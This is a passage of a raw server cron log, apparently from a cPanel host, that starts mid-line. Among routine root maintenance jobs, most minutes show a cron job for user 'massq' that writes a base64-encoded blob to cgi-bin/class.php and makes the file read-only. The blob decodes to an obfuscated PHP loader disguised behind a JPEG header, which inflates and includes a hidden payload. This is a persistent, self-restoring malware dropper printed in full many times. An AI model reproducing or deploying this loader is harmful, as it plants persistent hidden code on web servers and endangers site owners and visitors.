BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:21:01 server CROND[19839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:22:01 server CROND[20211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:22:01 server CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:22:01 server CROND[20213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:23:01 server CROND[20576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:23:01 server CROND[20577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:23:01 server CROND[20578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:24:01 server CROND[20939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:24:01 server CROND[20940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:24:01 server CROND[20941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:25:01 server CROND[21417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:25:01 server CROND[21418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:25:01 server CROND[21423]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 18:25:01 server CROND[21424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:25:01 server CROND[21422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:25:01 server CROND[21425]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:25:01 server CROND[21421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:25:01 server CROND[21420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:26:01 server CROND[22254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:26:01 server CROND[22255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:26:01 server CROND[22256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:27:01 server CROND[22628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:27:01 server CROND[22629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:27:01 server CROND[22631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:27:01 server CROND[22630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:28:01 server CROND[23162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:28:01 server CROND[23163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:28:01 server CROND[23164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:29:01 server CROND[23538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:29:01 server CROND[23539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:29:01 server CROND[23540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:30:01 server CROND[24067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:30:01 server CROND[24068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:30:01 server CROND[24069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:30:01 server CROND[24070]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:30:01 server CROND[24074]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:30:01 server CROND[24076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:30:01 server CROND[24071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:30:01 server CROND[24072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:31:01 server CROND[24903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:31:01 server CROND[24904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:31:01 server CROND[24905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:32:01 server CROND[25273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:32:01 server CROND[25275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:32:01 server CROND[25274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:33:01 server CROND[25639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:33:01 server CROND[25640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:33:01 server CROND[25641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
